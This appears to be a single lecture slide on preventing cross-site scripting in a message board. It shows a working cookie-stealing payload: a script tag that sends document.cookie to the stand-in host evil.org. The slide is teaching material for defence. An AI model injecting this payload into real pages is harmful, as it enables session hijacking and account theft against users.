Realistic XSS Example
7/17
Message Board
Preventing XSS Attacks
A more realistic attack may steal the user's cookies
<script> document.location = 'http://evil.org/?cookies=' + document.cookie </script>